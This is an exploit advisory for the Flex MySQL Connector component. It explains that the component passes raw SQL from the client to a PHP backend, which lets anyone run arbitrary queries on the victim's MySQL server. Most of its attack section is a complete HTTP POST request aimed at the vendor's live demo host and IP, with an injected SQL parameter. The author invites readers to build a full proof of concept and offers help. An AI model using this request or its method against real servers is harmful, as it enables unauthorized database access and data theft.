Flex MySQL Connector SQL Injection

`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
$$$ Flex MySQL Connector Remote SQL Execution Exploit $$$  
$$$ $$$  
$$$ || License: Commercial $$$  
$$$ || Language: English $$$  
$$$ Flex MySQL Connector || Cost: $45.00 $$$  
$$$ || Platform: Flash Player 9 | Flash Player 10 $$$  
$$$ || Demo: http://flexappsstore.com/flexapps/demo/mysql/ $$$  
$$$ $$$  
$$$ || Name: ~Fyodor (aka DungPQ) $$$  
$$$ Credit || Email: quangdung181188[at]gmail.com $$$  
$$$ || Location: Hanoi, Vietnam $$$  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
[$] Vulnz Description :  
Flex MySQL Connector is a Flex Component from FlexAppsStore, which allow run SQL from ActionScript via PHP backend (Flash <=> PHP <=> MySQL). But anybody can modify the SQL command in Request packet and send to PHP backend, it means anybody can query SQL commands to victim's MySQL server => OMG !  
  
[$] Exploitz :  
Send Example SQL command to MySQL at http://flexappsstore.com/flexapps/demo/mysql/  
-----------------------------------------------------------------------------------  
> Dest.IP = 66.147.242.177  
> Dest.PORT = 80  
---[Request BOF]---  
POST /flexapps/flexmysqlconn.php?irand=0.2112374654971063 HTTP/1.1  
User-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.10  
Host: www.flexappsstore.com  
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Accept-Language: en-US,en;q=0.9  
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1  
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0  
Referer: http://flexappsstore.com/flexapps/demo/mysql/index.swf  
Connection: Keep-Alive, TE  
TE: deflate, gzip, chunked, identity, trailers  
Content-Length: 89  
Content-type: application/x-www-form-urlencoded  
  
fas%5Fdb=flexapps%5Fdemxo&fas%5Fsql=SELECT%20count%28%2A%29%20as%20cnt1%20FROM%20tbl%5Fbigbig  
---[Request EOF]---  
  
(Oh yeah, SQL command is SELECT%20count%28%2A%29%20as%20cnt1%20FROM%20tbl%5Fbigbig => SELECT count(*) as cnt1 FROM tbl_bigbig)  
  
[$] PS: I don't give full PoC sourcecode. You can make your PoC by PHP (using fsockopen(), cUrl, ...) but if you want, contact me. ^_^  
[$] ~Fyodor - The Still Lake  
`